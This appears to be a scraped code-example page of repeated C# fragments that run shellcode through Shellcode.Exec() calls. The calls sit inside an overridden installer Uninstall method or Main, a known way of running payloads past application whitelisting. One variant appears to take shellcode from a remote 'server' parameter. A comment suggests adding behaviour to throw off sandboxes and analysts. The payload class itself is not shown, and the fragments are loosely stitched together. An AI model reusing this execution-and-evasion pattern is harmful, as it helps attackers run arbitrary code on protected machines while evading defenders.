Exec() public static method

public static Exec ( ) : void
return void
    //The Methods can be Uninstall/Install.  Install is transactional, and really unnecessary.
    public override void Uninstall(System.Collections.IDictionary savedState)
    {
        Console.WriteLine("Hello There From Uninstall");
        uint a = Shellcode.Hunt();

        if (a > 0)
        {
            Console.WriteLine("Found Space\n");
            Shellcode.Exec(a);
        }
        else
        {
            Console.WriteLine("Created Space");
            Shellcode.Exec();
        }
    }
Beispiel #2
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 //The Methods can be Uninstall/Install.  Install is transactional, and really unnecessary.
 public override void Uninstall(System.Collections.IDictionary savedState)
 {
     Console.WriteLine("Hello There From Uninstall");
     Shellcode.Exec();
 }
Beispiel #3
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 public static void Main()
 {
     Console.WriteLine("Hello From Main...I Don't Do Anything");
     //Add any behaviour here to throw off sandbox execution/analysts :)
     Shellcode.Exec();
 }
Beispiel #4
0
 //The Methods can be Uninstall/Install.  Install is transactional, and really unnecessary.
 public override void Uninstall(System.Collections.IDictionary savedState)
 {
     Shellcode.Exec();
 }
 //The Methods can be Uninstall/Install.  Install is transactional, and really unnecessary.
 public override void Uninstall(System.Collections.IDictionary savedState)
 {
     Shellcode.Exec(Context.Parameters["server"]);
 }